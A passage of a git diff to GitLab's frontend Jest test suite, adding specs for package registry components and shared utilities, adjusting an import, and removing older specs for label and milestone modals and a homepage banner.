+ // simulate selection
+ findSelectAll().vm.$emit('input', true);
+ await nextTick();
+
+ // all rows selected
+ items.forEach((item, index) => {
+ expect(findScopedSlotIsSelectedValue(index).text()).toBe('true');
+ });
+
+ // simulate de-selection
+ findSelectAll().vm.$emit('input', '');
+ await nextTick();
+
+ // no row is not selected
+ items.forEach((item, index) => {
+ expect(findScopedSlotIsSelectedValue(index).text()).toBe('');
+ });
+ });
+ });
+
+ describe('delete button', () => {
+ it('has the correct text', () => {
+ mountComponent();
+
+ expect(findDeleteSelected().text()).toBe(component.i18n.deleteSelected);
+ });
+
+ it('is hidden when hiddenDelete is true', () => {
+ mountComponent({ propsData: { ...defaultPropsData, hiddenDelete: true } });
+
+ expect(findDeleteSelected().exists()).toBe(false);
+ });
+
+ it('is disabled when isLoading is true', () => {
+ mountComponent({ propsData: { ...defaultPropsData, isLoading: true } });
+
+ expect(findDeleteSelected().props('disabled')).toBe(true);
+ });
+
+ it('is disabled when no row is selected', async () => {
+ mountComponent();
+
+ expect(findDeleteSelected().props('disabled')).toBe(true);
+
+ await findScopedSlotSelectButton(0).trigger('click');
+
+ expect(findDeleteSelected().props('disabled')).toBe(false);
+ });
+
+ it('on click emits the delete event with the selected rows', async () => {
+ mountComponent();
+
+ await findScopedSlotSelectButton(0).trigger('click');
+
+ findDeleteSelected().vm.$emit('click');
+
+ expect(wrapper.emitted('delete')).toEqual([[[items[0]]]]);
+ });
+ });
+ });
+
+ describe('main area', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('renders scopedSlots based on the items props', () => {
+ expect(findScopedSlots()).toHaveLength(items.length);
+ });
+
+ it('populates the scope of the slot correctly', async () => {
+ expect(findScopedSlots().at(0).exists()).toBe(true);
+
+ // it's the first slot
+ expect(findScopedSlotFirstValue(0).text()).toBe('true');
+
+ // item is not selected, falsy is translated to empty string
+ expect(findScopedSlotIsSelectedValue(0).text()).toBe('');
+
+ // find the button with the bound function
+ await findScopedSlotSelectButton(0).trigger('click');
+
+ // the item is selected
+ expect(findScopedSlotIsSelectedValue(0).text()).toBe('true');
+ });
+ });
+
+ describe('footer', () => {
+ let pagination;
+
+ beforeEach(() => {
+ pagination = { hasPreviousPage: false, hasNextPage: true };
+ });
+
+ it('has a pagination', () => {
+ mountComponent({
+ propsData: { ...defaultPropsData, pagination },
+ });
+
+ expect(findPagination().props()).toMatchObject(pagination);
+ });
+
+ it.each`
+ hasPreviousPage | hasNextPage | visible
+ ${true} | ${true} | ${true}
+ ${true} | ${false} | ${true}
+ ${false} | ${true} | ${true}
+ ${false} | ${false} | ${false}
+ `(
+ 'when hasPreviousPage is $hasPreviousPage and hasNextPage is $hasNextPage is $visible that the pagination is shown',
+ ({ hasPreviousPage, hasNextPage, visible }) => {
+ pagination = { hasPreviousPage, hasNextPage };
+ mountComponent({
+ propsData: { ...defaultPropsData, pagination },
+ });
+
+ expect(findPagination().exists()).toBe(visible);
+ },
+ );
+
+ it('pagination emits the correct events', () => {
+ mountComponent({
+ propsData: { ...defaultPropsData, pagination },
+ });
+
+ findPagination().vm.$emit('prev');
+
+ expect(wrapper.emitted('prev-page')).toEqual([[]]);
+
+ findPagination().vm.$emit('next');
+
+ expect(wrapper.emitted('next-page')).toEqual([[]]);
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/shared/package_icon_and_name_spec.js b/spec/frontend/packages_and_registries/shared/package_icon_and_name_spec.js
new file mode 100644
index 00000000000..d6d1970cb12
--- /dev/null
+++ b/spec/frontend/packages_and_registries/shared/package_icon_and_name_spec.js
@@ -0,0 +1,32 @@
+import { GlIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import PackageIconAndName from '~/packages_and_registries/shared/components/package_icon_and_name.vue';
+
+describe('PackageIconAndName', () => {
+ let wrapper;
+
+ const findIcon = () => wrapper.find(GlIcon);
+
+ const mountComponent = () => {
+ wrapper = shallowMount(PackageIconAndName, {
+ slots: {
+ default: 'test',
+ },
+ });
+ };
+
+ it('has an icon', () => {
+ mountComponent();
+
+ const icon = findIcon();
+
+ expect(icon.exists()).toBe(true);
+ expect(icon.props('name')).toBe('package');
+ });
+
+ it('renders the slot content', () => {
+ mountComponent();
+
+ expect(wrapper.text()).toBe('test');
+ });
+});
diff --git a/spec/frontend/packages_and_registries/shared/package_path_spec.js b/spec/frontend/packages_and_registries/shared/package_path_spec.js
new file mode 100644
index 00000000000..93425d4f399
--- /dev/null
+++ b/spec/frontend/packages_and_registries/shared/package_path_spec.js
@@ -0,0 +1,104 @@
+import { shallowMount } from '@vue/test-utils';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import PackagePath from '~/packages_and_registries/shared/components/package_path.vue';
+
+describe('PackagePath', () => {
+ let wrapper;
+
+ const mountComponent = (propsData = { path: 'foo' }) => {
+ wrapper = shallowMount(PackagePath, {
+ propsData,
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ const BASE_ICON = 'base-icon';
+ const ROOT_LINK = 'root-link';
+ const ROOT_CHEVRON = 'root-chevron';
+ const ELLIPSIS_ICON = 'ellipsis-icon';
+ const ELLIPSIS_CHEVRON = 'ellipsis-chevron';
+ const LEAF_LINK = 'leaf-link';
+
+ const findItem = (name) => wrapper.find(`[data-testid="${name}"]`);
+ const findTooltip = (w) => getBinding(w.element, 'gl-tooltip');
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe.each`
+ path | rootUrl | shouldExist | shouldNotExist
+ ${'foo/bar'} | ${'/foo/bar'} | ${[]} | ${[ROOT_CHEVRON, ELLIPSIS_ICON, ELLIPSIS_CHEVRON, LEAF_LINK]}
+ ${'foo/bar/baz'} | ${'/foo/bar'} | ${[ROOT_CHEVRON, LEAF_LINK]} | ${[ELLIPSIS_ICON, ELLIPSIS_CHEVRON]}
+ ${'foo/bar/baz/baz2'} | ${'/foo/bar'} | ${[ROOT_CHEVRON, LEAF_LINK, ELLIPSIS_ICON, ELLIPSIS_CHEVRON]} | ${[]}
+ ${'foo/bar/baz/baz2/bar2'} | ${'/foo/bar'} | ${[ROOT_CHEVRON, LEAF_LINK, ELLIPSIS_ICON, ELLIPSIS_CHEVRON]} | ${[]}
+ `('given path $path', ({ path, shouldExist, shouldNotExist, rootUrl }) => {
+ const pathPieces = path.split('/').slice(1);
+ const hasTooltip = shouldExist.includes(ELLIPSIS_ICON);
+
+ describe('not disabled component', () => {
+ beforeEach(() => {
+ mountComponent({ path });
+ });
+
+ it('should have a base icon', () => {
+ expect(findItem(BASE_ICON).exists()).toBe(true);
+ });
+
+ it('should have a root link', () => {
+ const root = findItem(ROOT_LINK);
+ expect(root.exists()).toBe(true);
+ expect(root.attributes('href')).toBe(rootUrl);
+ });
+
+ if (hasTooltip) {
+ it('should have a tooltip', () => {
+ const tooltip = findTooltip(findItem(ELLIPSIS_ICON));
+ expect(tooltip).toBeDefined();
+ expect(tooltip.value).toMatchObject({
+ title: path,
+ });
+ });
+ }
+
+ if (shouldExist.length) {
+ it.each(shouldExist)(`should have %s`, (element) => {
+ expect(findItem(element).exists()).toBe(true);
+ });
+ }
+
+ if (shouldNotExist.length) {
+ it.each(shouldNotExist)(`should not have %s`, (element) => {
+ expect(findItem(element).exists()).toBe(false);
+ });
+ }
+
+ if (shouldExist.includes(LEAF_LINK)) {
+ it('the last link should be the last piece of the path', () => {
+ const leaf = findItem(LEAF_LINK);
+ expect(leaf.attributes('href')).toBe(`/${path}`);
+ expect(leaf.text()).toBe(pathPieces[pathPieces.length - 1]);
+ });
+ }
+ });
+
+ describe('disabled component', () => {
+ beforeEach(() => {
+ mountComponent({ path, disabled: true });
+ });
+
+ it('root link is disabled', () => {
+ expect(findItem(ROOT_LINK).attributes('disabled')).toBe('true');
+ });
+
+ if (shouldExist.includes(LEAF_LINK)) {
+ it('the last link is disabled', () => {
+ expect(findItem(LEAF_LINK).attributes('disabled')).toBe('true');
+ });
+ }
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/shared/package_tags_spec.js b/spec/frontend/packages_and_registries/shared/package_tags_spec.js
new file mode 100644
index 00000000000..33e96c0775e
--- /dev/null
+++ b/spec/frontend/packages_and_registries/shared/package_tags_spec.js
@@ -0,0 +1,107 @@
+import { mount } from '@vue/test-utils';
+import PackageTags from '~/packages_and_registries/shared/components/package_tags.vue';
+import { mockTags } from 'jest/packages_and_registries/infrastructure_registry/components/mock_data';
+
+describe('PackageTags', () => {
+ let wrapper;
+
+ function createComponent(tags = [], props = {}) {
+ const propsData = {
+ tags,
+ ...props,
+ };
+
+ wrapper = mount(PackageTags, {
+ propsData,
+ });
+ }
+
+ const tagLabel = () => wrapper.find('[data-testid="tagLabel"]');
+ const tagBadges = () => wrapper.findAll('[data-testid="tagBadge"]');
+ const moreBadge = () => wrapper.find('[data-testid="moreBadge"]');
+
+ afterEach(() => {
+ if (wrapper) wrapper.destroy();
+ });
+
+ describe('tag label', () => {
+ it('shows the tag label by default', () => {
+ createComponent();
+
+ expect(tagLabel().exists()).toBe(true);
+ });
+
+ it('hides when hideLabel prop is set to true', () => {
+ createComponent(mockTags, { hideLabel: true });
+
+ expect(tagLabel().exists()).toBe(false);
+ });
+ });
+
+ it('renders the correct number of tags', () => {
+ createComponent(mockTags.slice(0, 2));
+
+ expect(tagBadges()).toHaveLength(2);
+ expect(moreBadge().exists()).toBe(false);
+ });
+
+ it('does not render more than the configured tagDisplayLimit', () => {
+ createComponent(mockTags);
+
+ expect(tagBadges()).toHaveLength(2);
+ });
+
+ it('renders the more tags badge if there are more than the configured limit', () => {
+ createComponent(mockTags);
+
+ expect(tagBadges()).toHaveLength(2);
+ expect(moreBadge().exists()).toBe(true);
+ expect(moreBadge().text()).toContain('2');
+ });
+
+ it('renders the configured tagDisplayLimit when set in props', () => {
+ createComponent(mockTags, { tagDisplayLimit: 1 });
+
+ expect(tagBadges()).toHaveLength(1);
+ expect(moreBadge().exists()).toBe(true);
+ expect(moreBadge().text()).toContain('3');
+ });
+
+ describe('tagBadgeStyle', () => {
+ const defaultStyle = ['badge', 'badge-info', 'gl-display-none'];
+
+ it('shows tag badge when there is only one', () => {
+ createComponent([mockTags[0]]);
+
+ const expectedStyle = [...defaultStyle, 'gl-display-flex', 'gl-ml-3'];
+
+ expect(tagBadges().at(0).classes()).toEqual(expect.arrayContaining(expectedStyle));
+ });
+
+ it('shows tag badge for medium or heigher resolutions', () => {
+ createComponent(mockTags);
+
+ const expectedStyle = [...defaultStyle, 'd-md-flex'];
+
+ expect(tagBadges().at(1).classes()).toEqual(expect.arrayContaining(expectedStyle));
+ });
+
+ it('correctly prepends left and appends right when there is more than one tag', () => {
+ createComponent(mockTags, {
+ tagDisplayLimit: 4,
+ });
+
+ const expectedStyleWithoutAppend = [...defaultStyle, 'd-md-flex'];
+ const expectedStyleWithAppend = [...expectedStyleWithoutAppend, 'gl-mr-2'];
+
+ const allBadges = tagBadges();
+
+ expect(allBadges.at(0).classes()).toEqual(
+ expect.arrayContaining([...expectedStyleWithAppend, 'gl-ml-3']),
+ );
+ expect(allBadges.at(1).classes()).toEqual(expect.arrayContaining(expectedStyleWithAppend));
+ expect(allBadges.at(2).classes()).toEqual(expect.arrayContaining(expectedStyleWithAppend));
+ expect(allBadges.at(3).classes()).toEqual(expect.arrayContaining(expectedStyleWithoutAppend));
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/shared/packages_list_loader_spec.js b/spec/frontend/packages_and_registries/shared/packages_list_loader_spec.js
new file mode 100644
index 00000000000..0005162e0bb
--- /dev/null
+++ b/spec/frontend/packages_and_registries/shared/packages_list_loader_spec.js
@@ -0,0 +1,51 @@
+import { mount } from '@vue/test-utils';
+import PackagesListLoader from '~/packages_and_registries/shared/components/packages_list_loader.vue';
+
+describe('PackagesListLoader', () => {
+ let wrapper;
+
+ const createComponent = (props = {}) => {
+ wrapper = mount(PackagesListLoader, {
+ propsData: {
+ ...props,
+ },
+ });
+ };
+
+ const findDesktopShapes = () => wrapper.find('[data-testid="desktop-loader"]');
+ const findMobileShapes = () => wrapper.find('[data-testid="mobile-loader"]');
+
+ beforeEach(createComponent);
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('desktop loader', () => {
+ it('produces the right loader', () => {
+ expect(findDesktopShapes().findAll('rect[width="1000"]')).toHaveLength(20);
+ });
+
+ it('has the correct classes', () => {
+ expect(findDesktopShapes().classes()).toEqual([
+ 'gl-display-none',
+ 'gl-sm-display-flex',
+ 'gl-flex-direction-column',
+ ]);
+ });
+ });
+
+ describe('mobile loader', () => {
+ it('produces the right loader', () => {
+ expect(findMobileShapes().findAll('rect[height="170"]')).toHaveLength(5);
+ });
+
+ it('has the correct classes', () => {
+ expect(findMobileShapes().classes()).toEqual([
+ 'gl-flex-direction-column',
+ 'gl-sm-display-none',
+ ]);
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/shared/publish_method_spec.js b/spec/frontend/packages_and_registries/shared/publish_method_spec.js
new file mode 100644
index 00000000000..fa8f8f7641a
--- /dev/null
+++ b/spec/frontend/packages_and_registries/shared/publish_method_spec.js
@@ -0,0 +1,50 @@
+import { shallowMount } from '@vue/test-utils';
+import PublishMethod from '~/packages_and_registries/shared/components/publish_method.vue';
+import { packageList } from 'jest/packages_and_registries/infrastructure_registry/components/mock_data';
+
+describe('publish_method', () => {
+ let wrapper;
+
+ const [packageWithoutPipeline, packageWithPipeline] = packageList;
+
+ const findPipelineRef = () => wrapper.find('[data-testid="pipeline-ref"]');
+ const findPipelineSha = () => wrapper.find('[data-testid="pipeline-sha"]');
+ const findManualPublish = () => wrapper.find('[data-testid="manually-published"]');
+
+ const mountComponent = (packageEntity = {}, isGroup = false) => {
+ wrapper = shallowMount(PublishMethod, {
+ propsData: {
+ packageEntity,
+ isGroup,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('renders', () => {
+ mountComponent(packageWithPipeline);
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ describe('pipeline information', () => {
+ it('displays branch and commit when pipeline info exists', () => {
+ mountComponent(packageWithPipeline);
+
+ expect(findPipelineRef().exists()).toBe(true);
+ expect(findPipelineSha().exists()).toBe(true);
+ });
+
+ it('does not show any pipeline details when no information exists', () => {
+ mountComponent(packageWithoutPipeline);
+
+ expect(findPipelineRef().exists()).toBe(false);
+ expect(findPipelineSha().exists()).toBe(false);
+ expect(findManualPublish().exists()).toBe(true);
+ expect(findManualPublish().text()).toBe('Manually Published');
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/shared/utils_spec.js b/spec/frontend/packages_and_registries/shared/utils_spec.js
index bbc8791ca21..962cb2257ce 100644
--- a/spec/frontend/packages_and_registries/shared/utils_spec.js
+++ b/spec/frontend/packages_and_registries/shared/utils_spec.js
@@ -4,8 +4,12 @@ import {
keyValueToFilterToken,
searchArrayToFilterTokens,
extractFilterAndSorting,
+ beautifyPath,
+ getCommitLink,
} from '~/packages_and_registries/shared/utils';
+import { packageList } from 'jest/packages_and_registries/infrastructure_registry/components/mock_data';
+
describe('Packages And Registries shared utils', () => {
describe('getQueryParams', () => {
it('returns an object from a query string, with arrays', () => {
@@ -56,4 +60,30 @@ describe('Packages And Registries shared utils', () => {
},
);
});
+
+ describe('beautifyPath', () => {
+ it('returns a string with spaces around /', () => {
+ expect(beautifyPath('foo/bar')).toBe('foo / bar');
+ });
+ it('does not fail for empty string', () => {
+ expect(beautifyPath()).toBe('');
+ });
+ });
+
+ describe('getCommitLink', () => {
+ it('returns a relative link when isGroup is false', () => {
+ const link = getCommitLink(packageList[0], false);
+
+ expect(link).toContain('../commit');
+ });
+
+ describe('when isGroup is true', () => {
+ it('returns an absolute link matching project path', () => {
+ const mavenPackage = packageList[0];
+ const link = getCommitLink(mavenPackage, true);
+
+ expect(link).toContain(`/${mavenPackage.project_path}/commit`);
+ });
+ });
+ });
});
diff --git a/spec/frontend/pages/dashboard/projects/index/components/customize_homepage_banner_spec.js b/spec/frontend/pages/dashboard/projects/index/components/customize_homepage_banner_spec.js
deleted file mode 100644
index f84800d8266..00000000000
--- a/spec/frontend/pages/dashboard/projects/index/components/customize_homepage_banner_spec.js
+++ /dev/null
@@ -1,108 +0,0 @@
-import { GlBanner } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import MockAdapter from 'axios-mock-adapter';
-import { mockTracking, unmockTracking, triggerEvent } from 'helpers/tracking_helper';
-import axios from '~/lib/utils/axios_utils';
-import CustomizeHomepageBanner from '~/pages/dashboard/projects/index/components/customize_homepage_banner.vue';
-
-const svgPath = '/illustrations/background';
-const provide = {
- svgPath,
- preferencesBehaviorPath: 'some/behavior/path',
- calloutsPath: 'call/out/path',
- calloutsFeatureId: 'some-feature-id',
- trackLabel: 'home_page',
-};
-
-const createComponent = () => {
- return shallowMount(CustomizeHomepageBanner, { provide, stubs: { GlBanner } });
-};
-
-describe('CustomizeHomepageBanner', () => {
- let trackingSpy;
- let mockAxios;
- let wrapper;
-
- beforeEach(() => {
- mockAxios = new MockAdapter(axios);
- document.body.dataset.page = 'some:page';
- trackingSpy = mockTracking('_category_', undefined, jest.spyOn);
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- mockAxios.restore();
- unmockTracking();
- });
-
- it('should render the banner when not dismissed', () => {
- expect(wrapper.find(GlBanner).exists()).toBe(true);
- });
-
- it('should close the banner when dismiss is clicked', async () => {
- mockAxios.onPost(provide.calloutsPath).replyOnce(200);
- expect(wrapper.find(GlBanner).exists()).toBe(true);
- wrapper.find(GlBanner).vm.$emit('close');
-
- await wrapper.vm.$nextTick();
- expect(wrapper.find(GlBanner).exists()).toBe(false);
- });
-
- it('includes the body text from options', () => {
- expect(wrapper.html()).toContain(wrapper.vm.$options.i18n.body);
- });
-
- describe('tracking', () => {
- const preferencesTrackingEvent = 'click_go_to_preferences';
- const mockTrackingOnWrapper = () => {
- unmockTracking();
- trackingSpy = mockTracking('_category_', wrapper.element, jest.spyOn);
- };
-
- it('sets the needed data attributes for tracking button', async () => {
- await wrapper.vm.$nextTick();
- const button = wrapper.find(`[href='${wrapper.vm.preferencesBehaviorPath}']`);
-
- expect(button.attributes('data-track-action')).toEqual(preferencesTrackingEvent);
- expect(button.attributes('data-track-label')).toEqual(provide.trackLabel);
- });
-
- it('sends a tracking event when the banner is shown', () => {
- const trackCategory = undefined;
- const trackEvent = 'show_home_page_banner';
-
- expect(trackingSpy).toHaveBeenCalledWith(trackCategory, trackEvent, {
- label: provide.trackLabel,
- });
- });
-
- it('sends a tracking event when the banner is dismissed', async () => {
- mockTrackingOnWrapper();
- mockAxios.onPost(provide.calloutsPath).replyOnce(200);
- const trackCategory = undefined;
- const trackEvent = 'click_dismiss';
-
- wrapper.find(GlBanner).vm.$emit('close');
-
- await wrapper.vm.$nextTick();
- expect(trackingSpy).toHaveBeenCalledWith(trackCategory, trackEvent, {
- label: provide.trackLabel,
- });
- });
-
- it('sends a tracking event when the button is clicked', async () => {
- mockTrackingOnWrapper();
- mockAxios.onPost(provide.calloutsPath).replyOnce(200);
- const button = wrapper.find(`[href='${wrapper.vm.preferencesBehaviorPath}']`);
-
- triggerEvent(button.element);
-
- await wrapper.vm.$nextTick();
- expect(trackingSpy).toHaveBeenCalledWith('_category_', preferencesTrackingEvent, {
- label: provide.trackLabel,
- });
- });
- });
-});
diff --git a/spec/frontend/pages/import/bulk_imports/history/components/bulk_imports_history_app_spec.js b/spec/frontend/pages/import/bulk_imports/history/components/bulk_imports_history_app_spec.js
index d6b394a42c6..6fb03fa28fe 100644
--- a/spec/frontend/pages/import/bulk_imports/history/components/bulk_imports_history_app_spec.js
+++ b/spec/frontend/pages/import/bulk_imports/history/components/bulk_imports_history_app_spec.js
@@ -2,7 +2,7 @@ import { GlEmptyState, GlLoadingIcon, GlTable } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import axios from '~/lib/utils/axios_utils';
-import PaginationBar from '~/import_entities/components/pagination_bar.vue';
+import PaginationBar from '~/vue_shared/components/pagination_bar/pagination_bar.vue';
import BulkImportsHistoryApp from '~/pages/import/bulk_imports/history/components/bulk_imports_history_app.vue';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
diff --git a/spec/frontend/pages/labels/components/promote_label_modal_spec.js b/spec/frontend/pages/labels/components/promote_label_modal_spec.js
deleted file mode 100644
index 4d5d1f98b59..00000000000
--- a/spec/frontend/pages/labels/components/promote_label_modal_spec.js
+++ /dev/null
@@ -1,103 +0,0 @@
-import Vue from 'vue';
-import { TEST_HOST } from 'helpers/test_constants';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import axios from '~/lib/utils/axios_utils';
-import promoteLabelModal from '~/pages/projects/labels/components/promote_label_modal.vue';
-import eventHub from '~/pages/projects/labels/event_hub';
-
-describe('Promote label modal', () => {
- let vm;
- const Component = Vue.extend(promoteLabelModal);
- const labelMockData = {
- labelTitle: 'Documentation',
- labelColor: '#5cb85c',
- labelTextColor: '#ffffff',
- url: `${TEST_HOST}/dummy/promote/labels`,
- groupName: 'group',
- };
-
- describe('Modal title and description', () => {
- beforeEach(() => {
- vm = mountComponent(Component, labelMockData);
- });
-
- afterEach(() => {
- vm.$destroy();
- });
-
- it('contains the proper description', () => {
- expect(vm.text).toContain(
- `Promoting ${labelMockData.labelTitle} will make it available for all projects inside ${labelMockData.groupName}`,
- );
- });
-
- it('contains a label span with the color', () => {
- expect(vm.labelColor).not.toBe(null);
- expect(vm.labelColor).toBe(labelMockData.labelColor);
- expect(vm.labelTitle).toBe(labelMockData.labelTitle);
- });
- });
-
- describe('When requesting a label promotion', () => {
- beforeEach(() => {
- vm = mountComponent(Component, {
- ...labelMockData,
- });
- jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
- });
-
- afterEach(() => {
- vm.$destroy();
- });
-
- it('redirects when a label is promoted', (done) => {
- const responseURL = `${TEST_HOST}/dummy/endpoint`;
- jest.spyOn(axios, 'post').mockImplementation((url) => {
- expect(url).toBe(labelMockData.url);
- expect(eventHub.$emit).toHaveBeenCalledWith(
- 'promoteLabelModal.requestStarted',
- labelMockData.url,
- );
- return Promise.resolve({
- request: {
- responseURL,
- },
- });
- });
-
- vm.onSubmit()
- .then(() => {
- expect(eventHub.$emit).toHaveBeenCalledWith('promoteLabelModal.requestFinished', {
- labelUrl: labelMockData.url,
- successful: true,
- });
- })
- .then(done)
- .catch(done.fail);
- });
-
- it('displays an error if promoting a label failed', (done) => {
- const dummyError = new Error('promoting label failed');
- dummyError.response = { status: 500 };
- jest.spyOn(axios, 'post').mockImplementation((url) => {
- expect(url).toBe(labelMockData.url);
- expect(eventHub.$emit).toHaveBeenCalledWith(
- 'promoteLabelModal.requestStarted',
- labelMockData.url,
- );
- return Promise.reject(dummyError);
- });
-
- vm.onSubmit()
- .catch((error) => {
- expect(error).toBe(dummyError);
- expect(eventHub.$emit).toHaveBeenCalledWith('promoteLabelModal.requestFinished', {
- labelUrl: labelMockData.url,
- successful: false,
- });
- })
- .then(done)
- .catch(done.fail);
- });
- });
-});
diff --git a/spec/frontend/pages/milestones/shared/components/delete_milestone_modal_spec.js b/spec/frontend/pages/milestones/shared/components/delete_milestone_modal_spec.js
deleted file mode 100644
index 1fbec0d996d..00000000000
--- a/spec/frontend/pages/milestones/shared/components/delete_milestone_modal_spec.js
+++ /dev/null
@@ -1,110 +0,0 @@
-import Vue from 'vue';
-import { TEST_HOST } from 'helpers/test_constants';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import axios from '~/lib/utils/axios_utils';
-import { redirectTo } from '~/lib/utils/url_utility';
-import deleteMilestoneModal from '~/pages/milestones/shared/components/delete_milestone_modal.vue';
-import eventHub from '~/pages/milestones/shared/event_hub';
-
-jest.mock('~/lib/utils/url_utility', () => ({
- ...jest.requireActual('~/lib/utils/url_utility'),
- redirectTo: jest.fn(),
-}));
-
-describe('delete_milestone_modal.vue', () => {
- const Component = Vue.extend(deleteMilestoneModal);
- const props = {
- issueCount: 1,
- mergeRequestCount: 2,
- milestoneId: 3,
- milestoneTitle: 'my milestone title',
- milestoneUrl: `${TEST_HOST}/delete_milestone_modal.vue/milestone`,
- };
- let vm;
-
- afterEach(() => {
- vm.$destroy();
- });
-
- describe('onSubmit', () => {
- beforeEach(() => {
- vm = mountComponent(Component, props);
- jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
- });
-
- it('deletes milestone and redirects to overview page', (done) => {
- const responseURL = `${TEST_HOST}/delete_milestone_modal.vue/milestoneOverview`;
- jest.spyOn(axios, 'delete').mockImplementation((url) => {
- expect(url).toBe(props.milestoneUrl);
- expect(eventHub.$emit).toHaveBeenCalledWith(
- 'deleteMilestoneModal.requestStarted',
- props.milestoneUrl,
- );
- eventHub.$emit.mockReset();
- return Promise.resolve({
- request: {
- responseURL,
- },
- });
- });
-
- vm.onSubmit()
- .then(() => {
- expect(redirectTo).toHaveBeenCalledWith(responseURL);
- expect(eventHub.$emit).toHaveBeenCalledWith('deleteMilestoneModal.requestFinished', {
- milestoneUrl: props.milestoneUrl,
- successful: true,
- });
- })
- .then(done)
- .catch(done.fail);
- });
-
- it('displays error if deleting milestone failed', (done) => {
- const dummyError = new Error('deleting milestone failed');
- dummyError.response = { status: 418 };
- jest.spyOn(axios, 'delete').mockImplementation((url) => {
- expect(url).toBe(props.milestoneUrl);
- expect(eventHub.$emit).toHaveBeenCalledWith(
- 'deleteMilestoneModal.requestStarted',
- props.milestoneUrl,
- );
- eventHub.$emit.mockReset();
- return Promise.reject(dummyError);
- });
-
- vm.onSubmit()
- .catch((error) => {
- expect(error).toBe(dummyError);
- expect(redirectTo).not.toHaveBeenCalled();
- expect(eventHub.$emit).toHaveBeenCalledWith('deleteMilestoneModal.requestFinished', {
- milestoneUrl: props.milestoneUrl,
- successful: false,
- });
- })
- .then(done)
- .catch(done.fail);
- });
- });
-
- describe('text', () => {
- it('contains the issue and milestone count', () => {
- vm = mountComponent(Component, props);
- const value = vm.text;
-
- expect(value).toContain('remove it from 1 issue and 2 merge requests');
- });
-
- it('contains neither issue nor milestone count', () => {
- vm = mountComponent(Component, {
- ...props,
- issueCount: 0,
- mergeRequestCount: 0,
- });
-
- const value = vm.text;
-
- expect(value).toContain('is not currently used');
- });
- });
-});
diff --git a/spec/frontend/pages/milestones/shared/components/promote_milestone_modal_spec.js b/spec/frontend/pages/milestones/shared/components/promote_milestone_modal_spec.js
deleted file mode 100644
index 4280a78c202..00000000000
--- a/spec/frontend/pages/milestones/shared/components/promote_milestone_modal_spec.js
+++ /dev/null
@@ -1,109 +0,0 @@
-import { GlModal } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import { setHTMLFixture } from 'helpers/fixtures';
-import { TEST_HOST } from 'helpers/test_constants';
-import waitForPromises from 'helpers/wait_for_promises';
-import createFlash from '~/flash';
-import axios from '~/lib/utils/axios_utils';
-import * as urlUtils from '~/lib/utils/url_utility';
-import PromoteMilestoneModal from '~/pages/milestones/shared/components/promote_milestone_modal.vue';
-
-jest.mock('~/lib/utils/url_utility');
-jest.mock('~/flash');
-
-describe('Promote milestone modal', () => {
- let wrapper;
- const milestoneMockData = {
- milestoneTitle: 'v1.0',
- url: `${TEST_HOST}/dummy/promote/milestones`,
- groupName: 'group',
- };
-
- const promoteButton = () => document.querySelector('.js-promote-project-milestone-button');
-
- beforeEach(() => {
- setHTMLFixture(`<button
- class="js-promote-project-milestone-button"
- data-group-name="${milestoneMockData.groupName}"
- data-milestone-title="${milestoneMockData.milestoneTitle}"
- data-url="${milestoneMockData.url}">
- Promote
- </button>`);
- wrapper = shallowMount(PromoteMilestoneModal);
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('Modal opener button', () => {
- it('button gets disabled when the modal opens', () => {
- expect(promoteButton().disabled).toBe(false);
-
- promoteButton().click();
-
- expect(promoteButton().disabled).toBe(true);
- });
-
- it('button gets enabled when the modal closes', () => {
- promoteButton().click();
-
- wrapper.findComponent(GlModal).vm.$emit('hide');
-
- expect(promoteButton().disabled).toBe(false);
- });
- });
-
- describe('Modal title and description', () => {
- beforeEach(() => {
- promoteButton().click();
- });
-
- it('contains the proper description', () => {
- expect(wrapper.vm.text).toContain(
- `Promoting ${milestoneMockData.milestoneTitle} will make it available for all projects inside ${milestoneMockData.groupName}.`,
- );
- });
-
- it('contains the correct title', () => {
- expect(wrapper.vm.title).toBe('Promote v1.0 to group milestone?');
- });
- });
-
- describe('When requesting a milestone promotion', () => {
- beforeEach(() => {
- promoteButton().click();
- });
-
- it('redirects when a milestone is promoted', async () => {
- const responseURL = `${TEST_HOST}/dummy/endpoint`;
- jest.spyOn(axios, 'post').mockImplementation((url) => {
- expect(url).toBe(milestoneMockData.url);
- return Promise.resolve({
- data: {
- url: responseURL,
- },
- });
- });
-
- wrapper.findComponent(GlModal).vm.$emit('primary');
- await waitForPromises();
-
- expect(urlUtils.visitUrl).toHaveBeenCalledWith(responseURL);
- });
-
- it('displays an error if promoting a milestone failed', async () => {
- const dummyError = new Error('promoting milestone failed');
- dummyError.response = { status: 500 };
- jest.spyOn(axios, 'post').mockImplementation((url) => {
- expect(url).toBe(milestoneMockData.url);
- return Promise.reject(dummyError);
- });
-
- wrapper.findComponent(GlModal).vm.$emit('primary');
- await waitForPromises();
-
- expect(createFlash).toHaveBeenCalledWith({ message: dummyError });
- });
- });
-});
